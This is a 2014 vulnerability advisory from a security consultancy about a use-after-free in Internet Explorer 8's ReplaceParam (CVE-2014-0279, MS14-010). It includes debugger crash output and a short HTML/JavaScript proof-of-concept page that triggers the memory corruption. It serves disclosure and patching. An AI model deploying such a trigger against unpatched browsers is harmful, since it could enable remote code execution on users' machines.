security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer ‘ReplaceParam’ Use-After-Free Vulnerability (MS14-010)
CVE	CVE-2014-0279
Vendor Website	http://www.microsoft.com/
Date Released	11/02/2014
Affected Software	Microsoft Internet Explorer 8
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in Microsoft Internet Explorer which allows a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(4c8.ec0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001807af ebx=001943f0 ecx=ffffffff edx=00150608 esi=ffffffff edi=001d6b08
eip=3d2e1d66 esp=0262d2a4 ebp=0262d2bc iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010297
mshtml!CObjectElement::ReplaceParam+0x15b:
3d2e1d66 ff91e0000000    call    dword ptr [ecx+0E0h] ds:0023:000000df=????????
1:022> k
ChildEBP RetAddr
0262d2bc 3d1ec985 mshtml!CObjectElement::ReplaceParam+0x15b
0262d32c 3d1ec8a7 mshtml!CElement::ReplaceChildHelper+0xb7
0262d348 3d2009a8 mshtml!CElement::replaceChild+0x20
0262d380 3cf8ac63 mshtml!Method_IDispatchpp_IDispatchp_IDispatchp+0xe0
0262d3f4 3cf96d31 mshtml!CBase::ContextInvokeEx+0x5d1
0262d440 3d2e5a20 mshtml!CElement::ContextInvokeEx+0x9d
0262d47c 3d2e24ba mshtml!COleSite::ContextInvokeEx+0x96
0262d4a8 3cf8a669 mshtml!CObjectElement::VersionedInvokeEx+0x48
0262d4f8 3d7c3a9a mshtml!PlainInvokeEx+0xea
0262d538 3d7c39e6 jscript!IDispatchExInvokeEx2+0xf8
0262d574 3d7c4f26 jscript!IDispatchExInvokeEx+0x6a
0262d634 3d7c4e80 jscript!InvokeDispatchEx+0x98
0262d668 3d7c2d6d jscript!VAR::InvokeByName+0x135
0262d6b4 3d7c4235 jscript!VAR::InvokeDispName+0x7a
0262d6e0 3d7c4f93 jscript!VAR::InvokeByDispID+0xce
0262d87c 3d7c13ab jscript!CScriptRuntime::Run+0x2abe
0262d964 3d7c12e5 jscript!ScrFncObj::CallWithFrameOnStack+0xff
0262d9b0 3d7c1113 jscript!ScrFncObj::Call+0x8f
0262da2c 3d7c385e jscript!CSession::Execute+0x175
0262db14 3d7c36ea jscript!NameTbl::InvokeDef+0x1b8
0262db98 3d7c4511 jscript!NameTbl::InvokeEx+0x129
0262dbc0 3cf9d8b1 jscript!NameTbl::Invoke+0x70
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<html>
<head>
<script>
function boom() {

var obj = document.getElementById('a')
var param = document.getElementById('b')
setTimeout(function(){obj.replaceChild(param,param)}, 500)

}
</script>
</head>
<body onload="setTimeout('boom()', 500)">
<object id='a'/>
<param id='b' name="a"></param>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch (MS14-010) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com